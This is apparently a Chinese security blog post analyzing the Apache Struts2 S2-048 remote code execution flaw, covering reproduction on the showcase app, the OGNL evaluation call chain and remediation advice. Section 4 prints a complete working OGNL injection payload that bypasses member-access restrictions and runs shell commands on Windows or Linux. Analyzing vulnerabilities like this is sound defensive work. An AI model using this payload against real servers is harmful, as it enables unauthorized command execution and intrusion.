记录生活
简单不先于复杂

Struts2 S2-048远程代码执行漏洞分析报告

一、漏洞介绍

1.1 漏洞背景

2017年7月7日,ApacheStruts 发布最新的安全公告,Apache Struts2的strus1插件存在远程代码执行的高危漏洞,漏洞编号为 CVE-2017-9791(S2-048)。攻击者可以构造恶意的字段值通过Struts2的struts2-struts1-plugin插件,远程执行代码。

1.2 漏洞影响

Apache Struts 2.3.x系列中启用了struts2-struts1-plugin插件的版本。

二、漏洞复现

本文使用Apache Struts22.3.24 版本作为复现演示实例。

首先下载struts-2.3.24-apps.zip,下载地址为http://archive.apache.org/dist/struts/2.3.24/。解压其中的 strucs2-showcase.war至 tomcat 的工作目录 webapps 下。

efacc25644e9917

根据官网说明,可知漏洞产生的原因是将用户可控的值添加到 ActionMessage 并在客户前端展示,导致其进入 getText 函数,最后 message 被当作 ognl 表达式执行,搜索发现 org.apache.struts2.showcase.integration.SaveGangsterAction 存在漏洞。

59348350db76bfa

查看 struts-integration.xml 配置文件可知对应 action 为 saveGangster,类为 org.apache.struts2.s1.Struts1Action。

4b708f5a020e994

所以访问 /integration/saveGangster.action

f601d2bed9c6d84

抓包修改参数值,发现成功执行了 OGNL 表达式。

4b8fea6cf688ea1

三、漏洞原理分析

3.1 漏洞产生条件

Apache Struts2 2.3.x 系列启用了struts2-struts1-plugin 插件并且存在 struts2-showcase 目录。

3.2 漏洞动态分析

漏洞的本质原因是在struts2-struts1-plugin包中的Struts1Action.java中的execute函数调用了getText函数,这个函数会执行ognl表达式,且是getText的输入内容是攻击者可控的。

首先执行的 truts1Action 的 execute 方法,该方法首先获取 Action

bb5e602d065f2b4

然后调用 saveGangsterAction 的 execute 方法,将表单请求封装到了 actionForm 中,

d4cc41aa9939f7a

并设置一个标识,用于获取 ActionMessage

d33a81d70b99309

接着获取 request 中的 ActionMessage,检查 ActionMessage 是否为 null,不为 null 则处理 ActionMessage 并显示在客户端,此处调用了会执行 OGNL 表达式的 getText() 方法,将拼接后的参数传入其中, getText 方法会根据不同的Locale 去对应的资源文件里面获取相关文字信息并展现。

d5e81d931435498

getText(StringaTextName) 方法位于 com.opensymphony.xwork2.ActionSupport 中,代码如下

5c4956262d94fb9

ac430d68ee26527

然后进入 TextProviderSupport.getText(String key, String defaultValue, List<?> args) 方法,代码如下

Struts2 S2-048远程代码执行漏洞分析报告_https://www.tiejiang.org_漏洞播报_第12张Struts2 S2-048远程代码执行漏洞分析报告_https://www.tiejiang.org_漏洞播报_第13张c7054232bb41a21

接着进入 LocalizedTextUtil.findText(ClassaClass, String aTextName, Locale locale, String defaultMessage, Object[] args,ValueStack valueStack),代码如下

7f938f3a9a28509

可知接着会调用 LocalizedTextUtil.getDefaultMessage(Stringkey, Locale locale, ValueStack valueStack, Object[] args, StringdefaultMessage),此函数调用了 TextParseUtil.translateVariables(String expression,ValueStack stack) 方法,执行 OGNL 表达式

f7cb1c245603914

TextParseUtil.translateVariables(Stringexpression,ValueStack stack) 方法代码如下

5c9480579b8bf1e

四、关于POC

4.1 远程代码执行POC

(1)用来出发文件漏洞,声明为文件上传。

%{(#_='multipart/form-data')

(2)用来注入OGNL代码,通过ognl表达式静态调用获取ognl.OgnlContext的DEFAULT_MEMBER_ACCESS属性,并将获取的结果覆盖_memberAccess属性,绕过SecurityMemberAccess的限制。

.(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm))))

(3)调用CMD命令的代码,首先判断操作系统,win下调用cmd,linux下调用bash。

.(#cmd='whoami').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=newjava.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}

五、修复意见

1、临时解决方案:通过使用 resourcekeys 替代将原始消息直接传递给 ActionMessage 的方式。如下所示:

messages.add(“msg”,new ActionMessage(“struts1.gangsterAdded”, gform.getName()));

一定不要使用如下的方式

messages.add(“msg”,new ActionMessage(“Gangster ” + gform.getName() + ” was added”));

2、 无奈解决方案:不启用struts2-struts1-plugin插件

3、 根本解决方案:建议升级到最新版本2.5.10.1

六、参考资料

[1] https://xianzhi.aliyun.com/forum/read/1844.html

[2] http://www.cnblogs.com/Zhujianshi/p/7146396.html

[3] http://blog.topsec.com.cn/ad_lab/strutss2-048%E8%BF%9C%E7%A8%8B%E5%91%BD%E4%BB%A4%E6%89%A7%E8%A1%8C%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/

[4] http://xxlegend.com/2017/07/08/S2-048%20%E5%8A%A8%E6%80%81%E5%88%86%E6%9E%90/

赞(0)
未经允许不得转载:爱安普 » Struts2 S2-048远程代码执行漏洞分析报告